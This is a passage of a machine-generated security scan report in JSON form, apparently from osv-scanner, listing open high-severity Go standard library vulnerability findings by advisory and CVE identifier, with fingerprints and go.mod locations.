"f1ddf759ea73c921807075ce5b7b2eb69bde30d7dc4dcf52622ae5758ae97633", "f3b55152c65f4fd90589f7c4090b9d1a43aec7faa0faed0a09ad4aea6b3e3340"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-3849", "level": "error", "message": {"text": "stdlib: GO-2025-3849"}, "properties": {"repobilityId": 113562, "scanner": "osv-scanner", "fingerprint": "789e8cf3baec396a94e128333fe650d5d053e72f7409cb6e6971f2fd3a4fb5f7", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2025-47907", "CVE-2025-47907"], "package": "stdlib", "rule_id": "GO-2025-3849", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-47907|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2025-3849"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["218aaadd4c679cbf4e37accc6466795f77f62b5c3bd1e6d71afa7c8caa6e8497", "480fe29fa5c8289a168c20647641eb9571425cc7d143fdd157a583ee988fe085", "789e8cf3baec396a94e128333fe650d5d053e72f7409cb6e6971f2fd3a4fb5f7", "7a780fe7a0df8419de0bdf180280d0f60df52304ba633c4953cbb2aebf349b0e", "b5cf085d2f47f5a922526477091d90686747baa642725f144758c9cb763f7b2c", "c1340f4cab7ea96da0268fbe42f7efbad73c5c6bc031584411cf2bfb6011391f", "facb4b264efea2c7352fc3b9de543e24aaed0a355c1167d92892005b06a343f0"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-3751", "level": "error", "message": {"text": "stdlib: GO-2025-3751"}, "properties": {"repobilityId": 113561, "scanner": "osv-scanner", "fingerprint": "c13094d99be3ca5def9fe846ced6babd110a8649f8b47f8b17a85aa81c5f52a5", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2025-4673", "CVE-2025-4673"], "package": "stdlib", "rule_id": "GO-2025-3751", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-4673|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2025-3751"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["1221fdd910f5b3b46e2773f0e37ace49116a6cd7c32567cd52086512951e5787", "38a3a93d2783fed917dd4cf6a750a2149620d66249c65d6b44d72e7084a4e77c", "50764f282a345171e3c372e565f5890936043e0412d0b78520c68c67a58c8188", "7cbbd091032d51ab96522eefd0c95c7b74d5115d59973773b83ec81208744e0a", "883d0a89266b87a5e4a1d71470d49066510bd7021d04ecfcb19132bd9e0324dc", "9d46b8b11fba435ffd4360e1091f836692e6d9582e2298d08e81846ec2f6321e", "c13094d99be3ca5def9fe846ced6babd110a8649f8b47f8b17a85aa81c5f52a5"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-3750", "level": "error", "message": {"text": "stdlib: GO-2025-3750"}, "properties": {"repobilityId": 113560, "scanner": "osv-scanner", "fingerprint": "62e1a3309d7dd5ed4016b203167800953b09dac6d2119917e004b39d231cadd7", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2025-0913", "CVE-2025-0913"], "package": "stdlib", "rule_id": "GO-2025-3750", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-0913|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2025-3750"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["18075229d9877f40ed28882c4a84a9b635a228e7f7ce505c39b61541adf18df6", "4478e87f6d98cc83ce2124c778700c8953aec7145a3ae44031badd5b609cdef2", "4b2abb475718856622525e9e1d8a43b0d4fbf5f8339f2a394b914e1f4229e315", "62e1a3309d7dd5ed4016b203167800953b09dac6d2119917e004b39d231cadd7", "63bbbe5eaf4c338b87e46e6fa4d962fd586637fffb3b247c9137757545aac852", "91c0f95a183040bcd729e98d17f4b5830d4a26cf1b09f08f6eac1c4cdfb40f00", "df6dda42a40f7ce244813c93dfe955b361fc73f8967e4c2e4d2d11c8fec8e39a"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-3563", "level": "error", "message": {"text": "stdlib: GO-2025-3563"}, "properties": {"repobilityId": 113559, "scanner": "osv-scanner", "fingerprint": "c9d37e20727a108d6d07c801b11c4285c6b0bdc20277b533573728b747db12f7", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2025-22871", "CVE-2025-22871", "GHSA-g9pc-8g42-g6vq"], "package": "stdlib", "rule_id": "GO-2025-3563", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-22871|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2025-3563"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["2a5a5ad085ec0e9e2c69cb057970ac1ff792d24d7d764237bb9818035f0855f1", "4a5141885033983a67c7678d26646f193752d7831a8a64c18637e469151c2d6a", "5033d67d000ce7cad7fac839b29b6548ca10969da07335e5c378e83ed00fd663", "6d990f190b15984a1064df37eea0d079c07748eae42b87fbbf75639c09487ea9", "6e64703a4e5af80a4d818b46ed97ebc46cecd0d5bbbeb139987f8329ca654b68", "b4bed615ca2d60f65402c92745d03108837c8a1e3dac2804c920b18ea030d109", "c9d37e20727a108d6d07c801b11c4285c6b0bdc20277b533573728b747db12f7"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-3503", "level": "error", "message": {"text": "stdlib: GO-2025-3503"}, "properties": {"repobilityId": 113558, "scanner": "osv-scanner", "fingerprint": "c19598c52b10504a337e61a918402bf060697f9a06527f23a4e4849488289d03", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["CVE-2025-22870", "GHSA-qxp5-gwg8-xv66"], "package": "stdlib", "rule_id": "GO-2025-3503", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-22870|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2025-3503"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["448b9558a984e98463ae183dec3e1d62f0915077826714e73e96d7eac00140b5", "540195b964b2765fddcef6e393b8a8d9ec6f9e2a8e78e9606a7751b51e281669", "5914bf9619b3e7a96d487dd99d1c43b1c508eca5e45c26d7a22d1bf487528e75", "be39101a140a9d2e32eb74410bacc59280cbae8e43646b91281b43e6a78c456d", "c19598c52b10504a337e61a918402bf060697f9a06527f23a4e4849488289d03", "c2c99d0f6b512288d44e98adcfc9adc19a584c5d10de446e949d3b384b28b56d", "def39c39f1f362bc426d93874e6bda8e0b9eb724955475ccd50515703d42a7a4"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-5039", "level": "error", "message": {"text": "stdlib: GO-2026-5039"}, "properties": {"repobilityId": 113557, "scanner": "osv-scanner", "fingerprint": "a83e627c146ec5ae6354a209b08e46b90552fb3a55f244faf312d2b6a843ac55", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2026-42507", "CVE-2026-42507"], "package": "stdlib", "rule_id": "GO-2026-5039", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-42507|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-5038", "level": "error", "message": {"text": "stdlib: GO-2026-5038"}, "properties": {"repobilityId": 113556, "scanner": "osv-scanner", "fingerprint": "26372ffc012a6e2f27ce548bd31a794161794f6db76480f81788e01849ca8dcf", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2026-42504", "CVE-2026-42504"], "package": "stdlib", "rule_id": "GO-2026-5038", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-42504|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-5037", "level": "error", "message": {"text": "stdlib: GO-2026-5037"}, "properties": {"repobilityId": 113555, "scanner": "osv-scanner", "fingerprint": "7541d4dba5fe7d349432ff80e6bd46b2c38dd49496f069ec8dc88c96fdceac42", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2026-27145", "CVE-2026-27145"], "package": "stdlib", "rule_id": "GO-2026-5037", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-27145|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4986", "level": "error", "message": {"text": "stdlib: GO-2026-4986"}, "properties": {"repobilityId": 113554, "scanner": "osv-scanner", "fingerprint": "55d3beed68a8f5e42f18723efe918ad21fc61328525c12c89ad625c5d23b7d9a", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2026-39820", "CVE-2026-39820"], "package": "stdlib", "rule_id": "GO-2026-4986", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-39820|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4982", "level": "error", "message": {"text": "stdlib: GO-2026-4982"}, "properties": {"repobilityId": 113553, "scanner": "osv-scanner", "fingerprint": "06597abb53f8beb41690d7c819ff1d3e8a2462b14165f2aec6adf584ae5391fe", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2026-39823", "CVE-2026-39823"], "package": "stdlib", "rule_id": "GO-2026-4982", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-39823|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4981", "level": "error", "message": {"text": "stdlib: GO-2026-4981"}, "properties": {"repobilityId": 113552, "scanner": "osv-scanner", "fingerprint": "28de4e8cade658d2e44ab8fd3e29ba0bdfdf0b1eeb2ffec399deac5678b03a31", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2026-33811", "CVE-2026-33811"], "package": "stdlib", "rule_id": "GO-2026-4981", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-33811|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4980", "level": "error", "message": {"text": "stdlib: GO-2026-4980"}, "properties": {"repobilityId": 113551, "scanner": "osv-scanner", "fingerprint": "10ec7b10c93ff987796c913ebbfb76a710d8ed93bbbe45b13f6f0d10e2b211e6", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2026-39826", "CVE-2026-39826"], "package": "stdlib", "rule_id": "GO-2026-4980", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-39826|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4977", "level": "error", "message": {"text": "stdlib: GO-2026-4977"}, "properties": {"repobilityId": 113550, "scanner": "osv-scanner", "fingerprint": "3620a62e00e33214f96ebc7312d23fec44851a9ee712599ee745845147c40e21", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2026-42499", "CVE-2026-42499"], "package": "stdlib", "rule_id": "GO-2026-4977", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-42499|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4976", "level": "error", "message": {"text": "stdlib: GO-2026-4976"}, "properties": {"repobilityId": 113549, "scanner": "osv-scanner", "fingerprint": "68c9ed164767bc1abc8d6a8706cf655bcaa445cc8f997e11de5c53701466a0a6", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2026-39825", "CVE-2026-39825"], "package": "stdlib", "rule_id": "GO-2026-4976", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-39825|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4971", "level": "error", "message": {"text": "stdlib: GO-2026-4971"}, "properties": {"repobilityId": 113548, "scanner": "osv-scanner", "fingerprint": "1a9b8779ea85b5b0ef026400c900b7f27dcd6628d9b6df9f442929c24844f89e", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2026-39836", "CVE-2026-39836"], "package": "stdlib", "rule_id": "GO-2026-4971", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-39836|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4947", "level": "error", "message": {"text": "stdlib: GO-2026-4947"}, "properties": {"repobilityId": 113547, "scanner": "osv-scanner", "fingerprint": "6a2263e9fecc21871d7240174f9ea0f2519ea0ac23b3fc3ff0ed52e2c5b99602", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2026-32280", "CVE-2026-32280"], "package": "stdlib", "rule_id": "GO-2026-4947", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-32280|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4946", "level": "error", "message": {"text": "stdlib: GO-2026-4946"}, "properties": {"repobilityId": 113546, "scanner": "osv-scanner", "fingerprint": "9eee462c00c8456bd7d2d4badc7bf78d311924612882fb6fc2e47014d51e47a2", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2026-32281", "CVE-2026-32281"], "package": "stdlib", "rule_id": "GO-2026-4946", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-32281|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4918", "level": "error", "message": {"text": "stdlib: GO-2026-4918"}, "properties": {"repobilityId": 113545, "scanner": "osv-scanner", "fingerprint": "b5a44e944ffd7c105aa62904a3469805e8033225279767b94a0d562437b7e9f6", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2026-33814", "CVE-2026-33814"], "package": "stdlib", "rule_id": "GO-2026-4918", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-33814|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4870", "level": "error", "message": {"text": "stdlib: GO-2026-4870"}, "properties": {"repobilityId": 113544, "scanner": "osv-scanner", "fingerprint": "7a602b0215fccffc7bd6ea6495a41311331a53696d26e919d4c27e06e7dc1127", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2026-32283", "CVE-2026-32283"], "package": "stdlib", "rule_id": "GO-2026-4870", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-32283|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4869", "level": "error", "message": {"text": "stdlib: GO-2026-4869"}, "properties": {"repobilityId": 113543, "scanner": "osv-scanner", "fingerprint": "2616d3ca78cea03ffe2fd69591ac572a5c26c1a0f2d9b7251c276d1c7ef533e2", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2026-32288", "CVE-2026-32288"], "package": "stdlib", "rule_id": "GO-2026-4869", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-32288|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4865", "level": "error", "message": {"text": "stdlib: GO-2026-4865"}, "properties": {"repobilityId": 113542, "scanner": "osv-scanner", "fingerprint": "99144fa7a438f5de339d05331016ab642fcdd56d3e34fcd10966c226dc703277", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2026-32289", "CVE-2026-32289"], "package": "stdlib", "rule_id": "GO-2026-4865", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-32289|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4864", "level": "error", "message": {"text": "stdlib: GO-2026-4864"}, "properties": {"repobilityId": 113541, "scanner": "osv-scanner", "fingerprint": "3eda3039016c3998065f2008f357040040a62205b6827640c36d1af597f1321e", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2026-32282", "CVE-2026-32282"], "package": "stdlib", "rule_id": "GO-2026-4864", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-32282|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4603", "level": "error", "message": {"text": "stdlib: GO-2026-4603"}, "properties": {"repobilityId": 113540, "scanner": "osv-scanner", "fingerprint": "d7d3f84a2aefd06da14535bc5bd652521167fa18c1af035dad60fbeaaab718b4", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2026-27142", "CVE-2026-27142"], "package": "stdlib", "rule_id": "GO-2026-4603", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-27142|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4602", "level": "error", "message": {"text": "stdlib: GO-2026-4602"}, "properties": {"repobilityId": 113539, "scanner": "osv-scanner", "fingerprint": "72fb48c374368b7b6746faae03f792b1fbfc30fa0ca49a9c6798f4728600e9be", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2026-27139", "CVE-2026-27139"], "package": "stdlib", "rule_id": "GO-2026-4602", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-27139|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4601", "level": "error", "message": {"text": "stdlib: GO-2026-4601"}, "properties": {"repobilityId": 113538, "scanner": "osv-scanner", "fingerprint": "a44cc08228f1d2907c99f8e158dface76fff075b40ff17af8f0b2c72ef35f74d", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2026-25679", "CVE-2026-25679"], "package": "stdlib", "rule_id": "GO-2026-4601", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-25679|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4342", "level": "error", "message": {"text": "stdlib: GO-2026-4342"}, "properties": {"repobilityId": 113537, "scanner": "osv-scanner", "fingerprint": "5278430be17741e61400d1f30710c44ddd2ec4dbdf3e87b6ff60d0386927ed95", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2025-61728", "CVE-2025-61728"], "package": "stdlib", "rule_id": "GO-2026-4342", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-61728|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4341", "level": "error", "message": {"text": "stdlib: GO-2026-4341"}, "properties": {"repobilityId": 113536, "scanner": "osv-scanner", "fingerprint": "b15f19c3a93c4dbe48ec5dce4f897a4b0cc1804a795108b2290301d4b2a4d088", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2025-61726", "CVE-2025-61726"], "package": "stdlib", "rule_id": "GO-2026-4341", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-61726|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4340", "level": "error", "message": {"text": "stdlib: GO-2026-4340"}, "properties": {"repobilityId": 113535, "scanner": "osv-scanner", "fingerprint": "5fdcf088afd1d1512255dceef1dbf16199182fbd6c905f1f2602e05a2767df04", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2025-61730", "CVE-2025-61730"], "package": "stdlib", "rule_id": "GO-2026-4340", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-61730|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4337", "level": "error", "message": {"text": "stdlib: GO-2026-4337"}, "properties": {"repobilityId": 113534, "scanner": "osv-scanner", "fingerprint": "cce309486249674e847b44d5166efc9503259ae3b6eb4899b6e518afa40306d2", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2025-68121", "CVE-2025-68121"], "package": "stdlib", "rule_id": "GO-2026-4337", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-68121|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-4175", "level": "error", "message": {"text": "stdlib: GO-2025-4175"}, "properties": {"repobilityId": 113533, "scanner": "osv-scanner", "fingerprint": "1451c80f35b0899164a856594b8131a7dbe181b7fcf1e04f9e5627c91fbc785b", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2025-61727", "CVE-2025-61727"], "package": "stdlib", "rule_id": "GO-2025-4175", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-61727|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-4155", "level": "error", "message": {"text": "stdlib: GO-2025-4155"}, "properties": {"repobilityId": 113532, "scanner": "osv-scanner", "fingerprint": "f61e290522280d57b31ad4d3e4b1ad634809a6fcb83c544a5c73e36f89a1f1a2", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2025-61729", "CVE-2025-61729"], "package": "stdlib", "rule_id": "GO-2025-4155", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-61729|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-4015", "level": "error", "message": {"text": "stdlib: GO-2025-4015"}, "properties": {"repobilityId": 113531, "scanner": "osv-scanner", "fingerprint": "ed0a3973c0fa749d25a3a29ec0d042b62018010b09d9988c279fa1b03b53db68", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2025-61724", "CVE-2025-61724"], "package": "stdlib", "rule_id": "GO-2025-4015", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-61724|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-4014", "level": "error", "message": {"text": "stdlib: GO-2025-4014"}, "properties": {"repobilityId": 113530, "scanner": "osv-scanner", "fingerprint": "1c5da88f89311fe3e0d4ca3c5bcf3fee82455fbf0637d840afeeef8e224e3f93", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2025-58183", "CVE-2025-58183"], "package": "stdlib", "rule_id": "GO-2025-4014", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-58183|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-4013", "level": "error", "message": {"text": "stdlib: GO-2025-4013"}, "properties": {"repobilityId": 113529, "scanner": "osv-scanner", "fingerprint": "5525e27eeb74c5af76e1e938a8d07a793af27f2eeb33e65cf22e243f0014d625", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2025-58188", "CVE-2025-58188"], "package": "stdlib", "rule_id": "GO-2025-4013", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-58188|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-4012", "level": "error", "message": {"text": "stdlib: GO-2025-4012"}, "properties": {"repobilityId": 113528, "scanner": "osv-scanner", "fingerprint": "789ab5700c0df2d86e95dba3cb69feab9bf7a5d2c906a6408fff440e3e02f2ea", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2025-58186", "CVE-2025-58186"], "package": "stdlib", "rule_id": "GO-2025-4012", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-58186|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-4011", "level": "error", "message": {"text": "stdlib: GO-2025-4011"}, "properties": {"repobilityId": 113527, "scanner": "osv-scanner", "fingerprint": "3787f51453125abfc86f44a498517eb562d10ba89c1715559eed0589463f97fc", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2025-58185", "CVE-2025-58185"], "package": "stdlib", "rule_id": "GO-2025-4011", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-58185|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-4010", "level": "error", "message": {"text": "stdlib: GO-2025-4010"}, "properties": {"repobilityId": 113526, "scanner": "osv-scanner", "fingerprint": 